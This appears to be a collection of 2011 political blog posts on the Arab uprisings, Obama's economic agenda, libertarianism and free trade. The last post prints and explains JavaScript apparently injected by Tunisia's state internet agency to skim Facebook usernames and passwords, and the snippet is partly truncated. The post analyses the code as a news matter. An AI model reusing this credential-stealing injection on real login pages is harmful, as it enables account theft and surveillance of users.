Revolutionary Wave: the Crack in American Exceptionalism

A spectre is now haunting Northern Africa and the Middle East–the spectre of the collapse of the American-aligned Arab Nation State. What started from a single act of self-immolation by a fruit stand operator in Tunisia has now metastasized into a full-blown revolutionary wave that has spread to Algeria, Egypt, Jordan and Yemen. Ben Ali has already exited to Saudi Arabia and Mubarak may now follow. If Mubarak goes, expect the gated cul de sac community of former dictators in Riyadh to grow.

The US Political class reaction, as one would expect, has been dissonant. Two days ago, the official talking points of the Obama Admin were expressed by Hillary Clinton and Joe Biden.

Clinton

“Our assessment is that the Egyptian Government is stable and is looking for ways to respond to the legitimate needs and interests of the Egyptian people.”

Is Mubarak a dictator? Joe Biden

“No. I think the time has come for President Mubarak to begin to move in the direction that – to be more responsive to some… of the needs of the people out there.”

Now the talking points have changed. The New Talking Points are that Obama has been secretly ahead of this issue for two years. Wikileaks cables are now appearing that suggest that the US has been providing material support to pro-democracy groups in Egypt. The Washington Post, the leading establishment cheerleader on the point that the Wikileaks cables have never provided anything new, is now suddenly promoting the WikiLeaks Egyptian Cables. Of course, there is news that Egyptian police are using U.S.-made tear gas against the demonstrators. And the US annually funds 1/3 of the Egyptian military budget–the same military that would be used in a crack down.

In the US, there is a certain irony that this Revolutionary Wave, full of “anti-government rhetoric,” follows on the heels of our own establishment political class ranting against the evils of anti-government rhetoric–it threatens civility, the established order, and it portends violence against the Political Class. The irony just thickens the air with more choking cognitive dissonance that is already replete with it. Wikileaks is now good. But we are nonetheless torturing a US Soldier to turn on Julian Assange so he can be extradited to the US for espionage. The US now claims that the Egyptian government’s control of telecommunication services abridges fundamental, universal rights, but Hactivist Anonymous, attempting an old school circumvention of these controls with respect to the Egyptian context, is being hunted down in the US by the FBI and DHS.

One of the more absurd things is the attempt by neoconservatives to expropriate the Revolutionary Wave as validation. What a brazen attempt to rewrite their history and intellectual intent. The Revolutionary Wave is threatening American-aligned Arab States. Neoconservative doctrine called for the explicit use of “benevolent US Military hegemony” to force a “democratic pro-American re-alignment” of non-American aligned Arab or Muslim states. The primary motivations were the security of Israel and the security of petroleum production. The “Domino Effect” was supposed to topple Iraq, Syria, Iran, Lybia, etc and install a pro-American aligned government in Palestine. It was not meant to topple Egypt, Jordan, Saudi Arabia, etc. The Revolutionary Wave is actually a repudiation of Neoconservative doctrine, and in particular, American Exceptionalism. The likes of Elliott Abrams instead try to pin this on the failure of “Arab Exceptionalism.” I don’t think so.

In historical context, the modern Arab State has it’s origins in the post WWI European partitioning of the old Ottoman Empire that resulted in a patchwork of territorial protectorates under the colonial thumbs of the European powers, particularly Britain and France. Post WWII signified the end of this colonial rule, meaning these “protectorates” became more or less independent states. Some, like Egypt, overthrew their monarchies and established a more “western” conception of a State. But this “independence” was relatively short-lived. Most, in the end, would become either Soviet or American “client States. This was the “cold war.”

Egypt, for example, became more or less a Soviet-client under Nasser but then, under Sadat, flipped to the US. After the assassination of Sadat, Mubarak would continue Egypt’s status as an American-client State.

Iraq, interestingly, was an example of an Arab State that actually never was either a Soviet or American Client State. It played both off each other. But it’s invasion of Kuwait, which threatened the US’s crown jewel Arab Client State, Saudi Arabia, triggered the Bush I “New World Order,” which was international sanction of US hegemony in the Middle East. It signaled the end of the cold war. The Soviet Union would soon be done. But Iraq actually didn’t topple. And there were still former Soviet-client States(e.g, Syria), that needed to be re-aligned. So, enter the Neoconservatives who viewed Iraq as the catalyst in a Domino theory to trigger full US alignment.

But US Military hegemony in the Middle East has ended up triggering a different sort of “domino effect.” The Revolutionary Wave is a revolt against the corrupt oligarchy of American-aligned regimes.

“Stability” is the buzzword, but I would suggest a more accurate term: “resiliency.” How resilient now is the DoubleThink of American Exceptionalism?

Obama’s New Rulez: Casting “Planning Against Competition” as “Competitiveness”

An operating principle I articulate on this blog is that Capitalism is undergoing a regime change. In American history, one can loosely identify the following capitalist regimes:

(1) The Hamiltonian American School
(2) “American Laissez Faire” Reformist
(3) New Deal(War) Central Planning
(4) Bretton Woods
(5) Chicago
(6) ?

It’s beyond the scope of this post to give a history lesson on each school. I’ve done that in a number of previous posts. But suffice to say, I think we are entering into (6). This would be something along the lines of a permanent war driven insider/outsider political economy. That’s a rather long-winded descriptive, so I go with the short-hand description: National Corporatism. Or, let’s just go with an even simpler description: Oligarchy.

Think I’m being too extreme? Too radical? I don’t think so. I’m just telling you in advance what you are officially going to be told. And, I suppose now, everyone should officially consider themselves officially served. I didn’t watch the political stagecraft Tuesday Night, but it appears Obama used the occasion to indeed announce the arrival of this new era. The World Economic Rules have changed was the theme of the SOTU.

So POTUS has made it official. A new capitalist regime is at hand. But I’m sure Obama would take exception to any critique of the “New Rulez” as oligarchy. No, the “New Rulez” are all about “competitiveness.” In Competitiveness, we have an acting GE CEOheading up new White House Council on Jobs and Competitiveness.

Quoting Obama:

“We think GE has something to teach businesses all across America”

In Competitiveness, you have the RIAA’s star lawyer slated to become Solicitor General.

What actually is Competitiveness? It is competition for insider status in a Political Economy that plans against competition. So I would say in this regard that Obama’s high praise for GE is indeed a “teachable moment” for American business.

Of course, the empirical reality of “Competitiveness” differs from it’s casting in terms of political reality. In political reality, it’s the fierce urgency of “DoubleThink.”

“The rules have changed. In a single generation, revolutions in technology have transformed the way we live, work and do business. Steel mills that once needed 1,000 workers can now do the same work with 100. Today, just about any company can set up shop, hire workers, and sell their products wherever there’s an internet connection.

Meanwhile, nations like China and India realized that with some changes of their own, they could compete in this new world. And so they started educating their children earlier and longer, with greater emphasis on math and science. They’re investing in research and new technologies. Just recently, China became home to the world’s largest private solar research facility, and the world’s fastest computer.

The cognitive dissonance: The entrepreneur is a threat to the Status quo, thus the need of the Status quo to “breed” the entrepreneur. Actually, cognitive dissonance is the entrepreneur being a hero in one context and a threat in another context. DoubleThink is the art of simultaneously convincing oneself that the entrepreneur is both a hero and a threat without any “cognitive dissonance.” What you think about the entrepreneur depends on the immediate context.

Frankly, I don’t think at this point anyone with an internet connection is a threat to the status quo in “steel production.” But, I do think anyone with an internet connection is a potential threat to the status quo of IP. Of course, Obama appoints a RIAA lawyer to be the chief US government litigator.

The politics of “Competitiveness” always appeals to “Nationalism,” as if this thing represents some Nation-State struggle. Hardly…The so-called “Free Trade” agreements of today are actually primarily an instrument to unify the political classes against the entrepreneurial threat to the 21st Century Political Economy. “Competitiveness” is all about unifying the political classes. Frankly, if you tell me what the IP/Copyright laws will end up being at this century, I can tell you whether or not dystopia awaits the human race.

The Triumph of Incoherence

Whenever I read Andrew Sullivan declare the triumph of something, I prepare for the cognitive dissonance to follow. He is a master in that art. So, what is one to say about this Sullivan effort, The Triumph of Libertarianism?.

The Triumph of Libertarianism. Really?

What is libertarianism? It is governance by laissez-faire civil society. It is anti-Statist.

Who in their right mind is going to claim that we are riding a crest of anti-Statism? Indeed, it’s precisely the opposite. We are riding a crest of putrid statism, particularly with regard to the political economy of the permanent war State.

Let’s look closer at Sullivan’s little blurb. What is he actually identifying libertarianism to be? Easy…Friedman’s 2nd Generation Chicago School, or if you prefer, “Friedmanite Liberalism.” And what are the defining characteristics of this?

Income tax rates are way down. Numerous industries have been deregulated. Most price controls have been abandoned. Competitive labor markets have steadily displaced top-down collective bargaining. Trade has been steadily liberalized. Simultaneously, the intellectual climate has shifted to be dramatically more favorable to libertarian insights. Wage and price controls were a standard tool of economic policymaking in the 1970s. No one seriously advocates bringing them back today. The top income tax bracket in the 1950s was north of 90 percent. Today, the debate is whether the top rate will be 35 percent or 39 percent.

Sullivan then informs us that a liberal today can safely spout Friedman. This, I gather, is the reason for the “triumphalism.” But then Sullivan can’t help himself and veers off into some tangent about Thatcher and Reagan. Opines Sullivan:

It is to see libertarian ideas as an ideology, not a useful way to critique excessive and counterproductive government intervention, when appropriate depending on the circumstances. Again, Reagan did not say “government is the problem,” he said, “In our present crisis, government is the problem.” The present crisis of 2010 is not the present crisis of 1981. And the failure of the conservative imagination in understanding this is one of the right’s deepest current problems.

I’m not sure what Sullivan means here. I think he is saying that the key to being a “triumphant libertarian” and a good conservative is a proper imagination necessary to divine Reagan; apparently, this is critical for determining when price controls constitute good public policy.

But enough with Sullivan. He is actually getting the “liberal stuff” from Tim Lee, The Return of Bottom up Liberalism. So let’s take a took. Lee uses an obscure post by whiny academic lamenting the lack of a robust “leftist” blogosphere. For Lee, this is a cause for celebration. That the lefty blogosphere is dominated by “neoliberals” like Matt Yglesias is proof positive of an “impressive libertarian winning streak.” Matt Yglesias represents the “Triumph of Libertarianism.”

Lee uses this post, No enemies on the Left, as proof positive. Writes Lee:

One way to interpret this is to say that Matt is a moderate libertarian with a redistributionist streak, but I don’t think that’s the right way to look at it. Rather, what’s happened is that liberalism in general has internalized key libertarian critiques of earlier iterations of liberal thought, with the result that a guy with a largely Friedmanite policy agenda can plausibly call himself a liberal. And actually, this shouldn’t surprise us at all, because Friedman called himself a liberal too.

Well, you can call Yglesias a “moderate libertarian,(the now defunct “liberaltarian”)” if you like, but I would also point out that he also lugs around a pretty sizable authoritarian streak. Yes, he may question occupational licensing from time to time, but he also waxes poetic about Blackwater. IOZ calls him an odious, totalitarian, albino squirrel for a reason.

Using the likes of Yglesias to pound chests and declare the return of “bottom-up liberalism” is exhibit A of what I call libertarian incoherence(i still haven’t got around to publishing part II of my three part series regarding the “Trouble with Liberty.” Part II deals with this exact issue).

“Bottom-up Liberalism” is the rehashing of the “enlightenment distinction between civil society and State.” Libertarianism historically proper had done away with this delusion of this distinction, jettisoning the State in favor of laissez faire civil society. For reasons discussed in this post, libertarianism in the United States in the 20th century became associated with restoring this distinction. Today, led by Cato acolytes, this “restoration project” is usually discussed in terms of marginal tax rates and “deregulation.” Tim Lee is another perfect example. Cast in these terms, the “restoration project,” whose roots derive from the Mont Pelerin Society, is declared a success. But I don’t see it that way. I look at the the National Security State, the Military Industrial Complex, and the evolution of the most vast State intelligence apparatuses in human history, and I see abject failure.

Nick Turse’s The Complex: How the Military Invades Our Everyday Lives destroys any pretense of any “enlightenment distinction between civil society and State.” Turse’s scholarship is analogous to some extent to the New Left’s deconstruction of the myths of corporate liberalism. In this case, however, the radical non-libertarian left takes down the “restoration project.” I’ll give ya’ll a clue here. It’s not the likes of Chris Beam or any other from the bevy of establishment progressive writers who actually take down Cato. It’s Nick Turse.

Tim Lee writes historical revisionism like this:

Wage and price controls were a standard tool of economic policymaking in the 1970s.

That’s a half truth. They weren’t really “standard tools;” rather they were last ditch desperate measures to stabilize the crumbling Bretton Woods regime. Bretton Woods transitioned to Chicago. And Chicago hit the wall in 2008. TARP, the bailouts, the increased monopolization of money and credit were measures to stabilize Chicago in an analogous way that the wage and price controls of the early 1970s were invoked to stabilize Keynesian Bretton Woods. But this type of stability comes at the price of resiliency, meaning that increasingly draconian measures have to be employed to stabilize against increasingly minor shocks to system. The system has to transition to a new “regime.” But what alternative rules-based “capitalist regime” is there to transition to? (1) Oligarchy (2) Anarchy

So, I would suggest why there is good reason to be afraid of this massive National Security State, Intelligence Apparatus that has evolved. And when I read Wilkinson or Drum on these matters, I will point out that they engaging in an anachronistic debate–debating Keynes vs Hayek with respect to regimes that no longer exist.

A coherent debate would be around what type of regime you want to live under going forward. But don’t expect oligarchy vs anarchy to be the topic of polite political debate…

Ian Fletcher’s Purposeful Delusion

Ian Fletcher, Adjunct Fellow at the San Francisco office of the U.S. Business and Industry Council, has taken lately to calling libertarians Anti-American and delusional. The point of contention is “Free Trade.”

For the purposes of clarity, I’m going to explicitly define “Free Trade.” It is the exchange of goods and services divorced from serving political/economic ends. It is the rejection of political economy as an ends-related device. Free, as in “free of political ends,” was an instrumental part of “enlightenment liberalism” and best articulated by Adam Smith’s “The Wealth of Nations,” which was an attack against mercantilism, the prevalent nationalist trade policy at the time.

However, Smith viewed trade in terms of “absolute advantage” which holds mutually beneficial exchange and the flow of international trade to be a function of labor productivity. A country would have an absolute advantage in the production of a good relative to another country if it could produce the good at lower cost or with higher productivity. David Ricardo, however, would overturn “absolute advantage” with comparative advantage, which holds exchange and trade to be a function of opportunity costs and not necessarily labor productivity. So, a country has a comparative advantage in the production of a good if it can produce that good at a lower opportunity cost relative to another country.

Comparative advantage is a more general principle than the specific application to international trade flows. “Opportunity cost” is a fundamental economic principle.

So, I take a pretty skeptical view of claims that “Free Trade” and “Comparative Advantage” have been overthrown. This would actually mean (1) A Political Economy of Ends, or National Trade Policy, has been demonstrated to be superior to mutually beneficial exchange of goods and services (2) The principle of Opportunity cost has been displaced from Economics.

These types of claims are typically restricted to Politicians, Nationalists, Xenophobes, and “Special Pleaders.” So, let’s take a look at Ian Fletcher’s claim as presented in his book: Free Trade Doesn’t Work: What Should Replace it and Why.

The first point I will make is very simple. Fletcher claims libertarians are delusional and don’t operate in the real world(a common refrain). But that charge actually better fits Fletcher. In the real world, if you advocate for a National Trade Policy, it’s not going to be up to you what that trade policy is. It’s going to be a thousand Ian Fletchers lobbying congress for their own versions of trade policy. It’s going to be politicians bidding out artificial economic rents and special favors. It would be the appointment of “Industrial Trade Czars” occupied by those who move freely between being a CEO, a Czar, and a lobbyist. I could go on. That’s the reality of an ends-related Political Economy. You are merely advocating for competition in “Political Advantage.” That’s “Public Choice,” and that’s the real world.

Here are two chapters from his book that are online.

The Theory of Comparative Advantage and Why It’s Wrong
The Natural Strategic Tariff

The basis for his claim is that “Comparative Advantage” has been overthrown is that the standard Neoclassical “Hecksher-Ohlin model” of comparative advantage has been challenged by “New Trade” theory models. “Hecksher-Ohlin model” explains the pattern of international traded in terms of such traditional factors as the ratio of capital to labor. “New Trade” theory challenged the “standard view” by incorporating “technology,” “network effects,” and “increasing returns.” Paul Krugman actually won his Nobel Prize for using the “network effects” of “economic geography” to explain patterns of international trade between countries that couldn’t be explained by the Hecksher-Ohlin model(in particular, countries that had similar ratios of capital to labor).

“New Trade” hardly overthrows “comparative advantage.” It simply incorporates “network effects” along with the traditional neoclassical factors of capital and labor as determinants of comparative advantage.

Fletcher cites as Ralph Gomory and William Baumol as “overthrowing the neoclassical Ricardian contention that global free trade will produce optimal outcomes for all participating national economies and the world.” I would say that is about an accurate statement as someone claiming Misean capital theory had supplanted the Hicks IS/LM general equilibrium model within the mainstream economics profession. Gomory/Baumol is heterodoxical. The basic gist of G/B combines the “network effects” of New Trade with a principle roughly analogous to John Rawls Original Principle(an attempt to nullify “accident of birth” from justice theory). Network effects result in “retainable industries” that are by and large products of historical accident. This “retainable industry model” does not have a single equilibrium of supply and demand; rather, it’s a multi-equilibria model. Therefore, there isn’t necessarily any “optimum equilibrium.” This is similar to concepts in game theory where some games, for example, can have multiple nash equilibria.

The G/B argues that the equilibria of the “retainable industries model” should not be subject merely to historical accident but should be affected by deliberate government policy.

It should be noted that Gomory and Baumol thought the US, unlike Japan, was too corrupt for a “dedicated bureaucracy” to have an industrial policy for existing “retainable industries.” Therefore they advocated “public-private” venture funding for nascent retainable industries. Of course, it’s unclear why one wouldn’t think that such public choice pressures wouldn’t likewise affect the dollars flowing into this “public-private” partnership for research into creating these “new” retainable industries; nor why one shouldn’t think that “public-private” partnership wouldn’t be dominated by already existing retainable industries.

Ian Fletcher, in his chapter, The Natural Strategic Tariff, is even less sanguine regarding the effectiveness of a “dedicated bureaucracy” than G/B. Basically, it’s not possible.

The natural question, if one assumes self-interested nation states, is what kind of trade policy will acquire any given nation these retainable industries. Unfortunately, there is no easy answer here, because in order to win these industries, the state must, naturally, know which industries they are – or it will be incapable of directing its tariffs, subsidies, and other policy measures to their appropriate targets. (And this is not even considering the fraught problem of how to effectively favor the right industries, once they have been identified.)

While there is some evidence that fabled institutions like Japan’s Ministry of International Trade and Industry (MITI) have successfully done this in the past, there are also vast empirical and theoretical grounds for supposing that this is extremely difficult to do, indeed probably beyond the ability of most contemporary governments. Because the cost of trying and failing is potentially very high, this is (not entirely unreasonably) taken as a dispositive argument against protectionist measures aimed at winning retainable industries.

There is, however, one possible loophole in the above problem. The above reasoning presumes that the state must know which industries are potentially retainable. That is, it presumes that the only possible means to impose strategic protectionism is central planning based upon ex ante industry-specific knowledge. But what if this were not so? What if, instead, it were somehow possible to have a effective strategic tariff without such hard-to-obtain knowledge? What if, that is, there existed some simple rule for tariff policy which, when applied to the complex empirical conditions of the economy, had the desired complex effect? If such a simple rule exists, we should call it a “natural strategic tariff.” It is my purpose in the remainder of this paper to vindicate the proposition that such a thing does exist.

So essentially, Fletcher is arguing for a “de-politicized” Political Economy of political/economic ends. For all the bluster, pontifications and name calling, Fletcher’s model of trade would, in some respects, be similar to the “libertarian model.” Each would dismantle the trade bureaucracy, the central planning, the lobbying interest groups, etc. However, whereas the libertarian model would have the tariff–>0, Fletcher’s model would have a flat tariff–> “natural strategic tariff.”

Once again, however, the libertarian Public Choice critique applies. If you think the libertarian case for dismantling the the trade bureaucracy is delusional, I can assure you that a National Trade Policy case against a trade bureaucracy is more delusional. In politics, the “natural strategic tariff” does not result in a flat tariff and half the Washington Political class crowd filing for unemployment. Then again, Fletcher probably doesn’t actually believe what he is trying to defend. Concludes Fletcher.

Does this imply America should impose a tariff?

Yes and no. Unfortunately for opponents of free trade, the above reasoning does not, on its own, prove that the US would be better off with a tariff. Although the above logic does explain how such a tariff would bring a benefit, it does nothing to quantify this benefit against the well-known expected costs. Such quantification would require a major econometric study, and because the GB model used above is not the only valid critique of free trade, this study would have to incorporate these other theoretical models as well. This essay should only be taken as a contribution to the underlying theory that makes such studies possible.

Fletcher calls for major econometric studies that would also include models that would increase the trade bureaucracy. In the end, it appears Fletcher is primarily making a “special pleading” argument for research money. And, in the process, reinforces the libertarian point: that any National Trade Policy necessarily will result in hodge podge of policy that would be a product of Public Choice Competition. And public choice competition is not even a zero-sum game. It’s a negative sum game. These type of games have significant negative impact on everyone’s overall welfare.

Anti-American, indeed.

***********************************
NOTES:

(1) Libertarian arguments are not dependent on equilibrium in Neoclassical models. I don’t subscribe to Neoclassical equilibrium to begin with. I subscribe more or less to complexity economics. The presence of “multi equilibria” in no way invalidates comparative advantage.

(2) Libertarians should view “Free Trade Agreements” with skepticism because they are actually “ends-related devices.” And, in that sense, that are actually not representative of “Free Trade.” A case can be made that they actually increase monopolies, economic rents in areas of money,patent, and labor under the guise of “reduced tariffs.”

Libertarians vs Progressives

ED Kain thinks libertarians and progressives have a hard time understanding truly where the other is coming from.

One suggestion: I think we can do without knuckleheads babbling about the only role of the State is to protect property and enforce contracts vs knuckleheads babbling about the “Hobbesian State of Nature” and Rousseau’s “General Will.” We are long past any relevant debate between Locke’s Enlightenment Liberal distinction between civil society and State and Rousseau’s “Democratic Will” of the modest city-state.

Historically speaking, the libertarian vs progressive debate is not an 18th century product. It’s not a Locke vs Rousseau debate. It’s a 19th century product. It’s more along the lines of a Proudhon vs Saint-Simon debate, that is, Laissez-Faire vs Dirigisme. Frankly, the fact that both “Laissez-Faire” and “Dirigisme” are French terms and that, today, the people of contemporary France are more clueless about this debate than the Americans probably is a good indicator of just how relevant the historical debate is to the modern context.

The reality of today is the 21st Century Corporate State in the Global Capitalist Order. In this modern context, the libertarian vs progressive debate isn’t really much of a debate. The management rules of the corporate state are not going to be a product of American political debate. There are many progressives who dream of a referendum on “Neo-Liberalism;” they blame libertarianism for corrupting FDR’s New Deal State. But this is just a half-truth. The reality is that post WW II Bretton Woods was a paradigm for a global capitalist order. The distinction between “modern” and “neo” when it comes liberalism is a matter of semantics. When Bretton Woods broke down in the 1970s, it was supplanted by “Chicago,” but the “regime change” was merely in the rules; it was still the same system.

Progressive referendum on “Neo-Liberalism” is a fantasy; the delusion that the US can arbitrarily pull the rug out on the global system–that the whole world has been playing by–that the US itself invented and imposed. They typically trot out James K. Galbraith who reassures them that US military supremacy allows the US the privilege to rewrite the rules at will. Not quite, James. Expect some shit. And you can’t blame European and Asian push back on American right wing politics and Sarah Palin. And if/when the IMF comes calling, Galbraith’s coping mechanisms with irony, likely to be a combination of bourbon and Yeats, will be preferable to Krugman’s mechanisms, which appear to be war.

Progressives are delusional; but libertarians are incoherent. I can’t get over this latest comedy by Reason, casting Jeb Bush as an agent of disruption against the Status Quo. I don’t need to reference anything further.

The modern progressive vs libertarian debate is Delusion vs Incoherence…

Yes, I know that there are many progressives and libertarians who object to this casting. But that’s the thing…Progressive push back against delusion is a Progressive vs Progressive debate, and Libertarian push back against incoherence is a Libertarian vs Libertarian debate…

Things I’m afraid of, things I’m not afraid of

Writes Pulitzer-Prize winning cartoonist Tom Toles:

You can wish all you want to be left alone to live your life free of the heated breath of big government, but come on, get rid of government and what you’ll be feeling is the heated breath of ever-larger corporations and the forces of globalization. Look around. You don’t raise your own food on the family farm or tan your own leather anymore. There are huge forces sloshing around now, and you aren’t going to be immune from them, no matter HOW loud you turn up your TV. The easy, heady days of the great American rocket ride of postwar America are as over as Leave it to Beaver. Ward Cleaver rule-of-thumbery doesn’t cut it anymore.

I’m not afraid of civilization, of I, Pencil, or I, Toaster.

I’ll tell you what I am afraid of, however. I’m afraid of DoubleThink that always underlies authoritarian governments. DoubleThink is the acceptance of two mutually contradictory beliefs without cognitive dissonance. And I’m seeing it in full display here by Tom Toles. In one cartoon, he editorializes about government captured by elites. In commentary directly below that, he editorializes about the need for an end of ideology and government of elites to run our lives for our own protection.

In other words:

We need elites to guard government against a government of elites

This is Orwellian. Of course, there can be no ideology. The rhetoric needs to be toned down. Chuck Schumer and Tom Coburn need to join hands in conciliation. Unfurl the banners, look at Screen, Dear Leader’s speech, never has such glory been seen.

This is why you have permanent wars, the largest collection of intelligence apparatuses in human history, laws that give privileged status to public officials, domestic spy drones in the hands of Barney Fife, privileged investor classes, and a domestic security gestapo subjecting public travel and assembly to security scans and gropings. And I could go on and on and on….

Is Nineteen Eighty Four a warning or an operations manual?

H/T: b-psycho

Social Network Platforms and Subversive Politics

Jesse Walker at Reason expresses skepticism concerning the branding of the Tunisian Revolution as a WikiLeaks Revolution.

I noted yesterday that some pundits have been calling the Tunisian revolt a “WikiLeaks revolution.” The phrase “Twitter revolution,” last spotted wandering around Tehran in a daze, has made a comeback as well. So now we’re in for a big boring debate about whether these boosterish labels fit, an argument that threatens to overshadow some much more interesting questions. The Internet is a series of tools. Some of those tools were used in Tunisia. I’d love to see some detailed investigations of how they were used, how they affected the use of older tools and tactics, how they advanced and/or held back the struggle, and how the regime responded to them. Debating whether their presence makes this a “[fill-in-the-blank] revolution,” by contrast, seems pointless.

Yesterday, I engaged in some bit of punditry that used the term “WikiLeaks Revolution.” Regarding Tunisian politics, I readily concede that I am an armchair blogger. However, I was careful to base my statements on journalists who could give an eyewitness account. In the post, I referenced an article in Foreign Policy Journal by Yvonne Ridley.

The demise of Ben Ali came when police prevented an unemployed 26-year-old graduate from selling fruit without a license. Mohammad Bouazizi turned himself in to a human torch on December 17 and died of the horrific burns in Sidi Bouzid, in central Tunisia.

It was the final straw, a defining moment which ignited rallies, marches and demonstrations across Tunisia.

And revelations from Wikileaks cables exposing the corrupt and extravagant lifestyle of Ben Ali and his grasping wife fanned the flames of unbridled anger from a people who were also in the grip of poverty.

I knew it was coming. I saw the burning desire for freedom in the eyes of the courageous people of Ghafsa when the Viva Palestina Convoy entered the country in February 2009 on its way to Gaza.

Our convoy witnessed the menacing secret police intimidate the crowds to stop them from gathering to cheer us on.

This vast army of spies, thugs and enforcers even tried to stop us from praying in a local mosque.

That they stood their ground to cheer us on prompted me to leave my vehicle and hug all the women who had turned out. We exchanged cards and small gifts and then, to my horror, I discovered 24 hours later that every woman I had embraced in the streets of Gafsa had been taken away and questioned.

The broader context that brewed the revolution was a police state apparatus protecting a corrupt political economy. The trigger was an act of self-immolation by an unemployed recent university graduate who was robbed of his only means of supporting himself. The WikiLeaks cables were a catalyst.

Now on matters of internet technology I’m not so much of an armchair blogger. I can do my own investigative reporting. Now I do have quite bit of skepticism regarding the intersection of technology and subversion politics. A lot of hype. There is even more hype regarding “social networking” and subversion politics. Things like “Twitter Revolution.”

The first thing to point is to be careful about conflating WikiLeaks with social networking platforms. WikiLeaks is document-sourced journalism. The “Social Networking Platform” actually failed as a means of document-sourced investigative reporting. I’ve pointed this out several times before, and I’m only pointing out what Assange himself has emphasized on several occasions. So, immediately there is a limitation to the Social Networking Platform when it comes to subversion politics. WikiLeaks relies on traditional media institutions both to provide editorial context and to serve as a distribution source.

Now the Tunisian government, however, most certainly viewed the Social Networking Platform as a threat. Here’s a post from last July by technically knowledgeable Tunisian citizen documenting how the Government was collecting social networking platform credentials of it’s citizens. At the time, this would be appear to have been some type of an official DNS cache poisoning/Phishing attack. The Tunisian Internet Agency(ATI) is the upstream provider for all Tunisian ISPs. Certainly, then, from a technical standpoint, it would have been feasible. However, the blogger notes that the attacks occurred only intermittently so as to not arouse too much suspicion.

With the latest revolt, the Tunisian government, via the ATI, resorted to more sophisticated methods of “Phishing.” From Aljazeera, Tunisia’s bitter cyberwar, we learn that ATI was injecting javascript code into Social Networking Platform login pages that intercepted the user login and used AJAX “Get” requests to send user credentials in clear text over the wire. I investigated this, and at least with respect to Facebook, I could see how this attack could work.

The hackivist “Anonymous” posted the HTML source for the Facebook login here. Below is the “phishing code” that was apparently being injected by ATI.


function h6h(st){var st2="";for(i=0;i>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st="";for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {
var frm = document.getElementById("login_form"); var us3r = frm.email.value; var pa55 = frm.pass.value;
var url = "http://www.facebook.com/wo0dh3ad?q="+r5t(5)+"&u="+h6h(us3r)+"&p="+h6h(pa55); var bnm = navigator.appName; if(bnm=='Microsoft Internet Explorer') inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById("x6y7z8"); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open("GET", url, false); xr.send("");}
function inv0k3(url) {var xr = new ActiveXObject('Microsoft.XMLHTTP'); xr.open("GET", url, false); xr.send("");}

In the “form tag” of the html, an onsubmit client event, “onsubmit=’hAAAQ3d()’,” was also being injected that would trigger the phishing code. It’s fairly simple in operation. A user login would also trigger a client onsubmit event handler, which is the function “hAAAQ3d().” This function uses the Document DOM model to capture the username and password. It then passes each to a function “h6h” that uses string manipulation for a very weak encryption. It then builds a “url string” with the weakly encrypted username and password in the querystring. It then uses the XMLHttpRequest object(or the MS ActiveXObject version in the event of Internet Explorer) to pass this url in a client-side , synchronous AJAX Get Request. The actual url, of course, on the Facebook side(for browser cross-domain security reasons, the domain in the url must be facebook.com) doesn’t exist. The intent is to pass the url, the url with the username and password in the querystring, in clear text over the wire that can then be captured by ATI.

“Anonymous” posted a GreaseMonkey script for FireFox that stripped the “phishing script” from Social networking platform login pages. EFF issued a Security Bulletin on Jan. 11th that highlighted the “phishing attempts.” From all accounts, the “phishing attempts,” or at least attempts by this particular method, had ceased by Jan. 11th or Jan. 12th.

Hactivist “Anonymous” also participated in DDoS attacks against Tunisian government websites that were successful. But as I have noted in previous “WikiLeaks Watch” posts, Anonymous/AnonOps uses IRC(Internet Relay Chat) to organize participants in this endeavor. And IRC has been around forever.

For all you Gen Y types out there; IRC and UseNet was to Gen X as the Social Network Platform is to Gen Y. The difference between the two “platforms” is that the SNP has a better API, with regard to web and particularly with regard to today’s ubiquitous mobile devices. It’s an evolution. But a revolution? That’s debatable.

The lesson from regarding SNP and the Tunisian government is that SNP can be quite resilient against “technical attacks.” It’s importance in the Tunisian revolution was magnified because it was attacked by the Tunisian government. That was a mistake. But the Ben Ali regime is not the US Government. The US Government can ex post facto condemn the crude “censorship” of the Ben Ali regime while working methodically behind the scenes to capture the political economy of SNP. We have already seen this with respect to WikiLeaks and the financial banking system. Cutting off means of financial support is a far more subtle and far more powerful means of censorship.

“Anonymous” is a hero when it attacks the crude, technical censorship of the Ben Ali regime. But it’s criminal when it attacks the political economy of US censorship.

As I maintain, and will continue to maintain, a political hack must be at the heart of undermining the statist 21st century political economy. Technical utopianism isn’t going to cut it alone. For example, Peter Thiel’s supposed libertarian e-money transaction system(PayPal) ended up being politically captured and now is a powerful component of SNP soft censorship.

SNP that can reinforce a political hack(s) has the potential to be revolutionary. But without the political hacks, it is only evolutionary, and the evolutionary path would be more along the lines of human social fitness for the Orwellian Boot. To the extent that SNP does threaten to become revolutionary, you can bet the mainstream babble about “Twitter Revolution” will change in tone.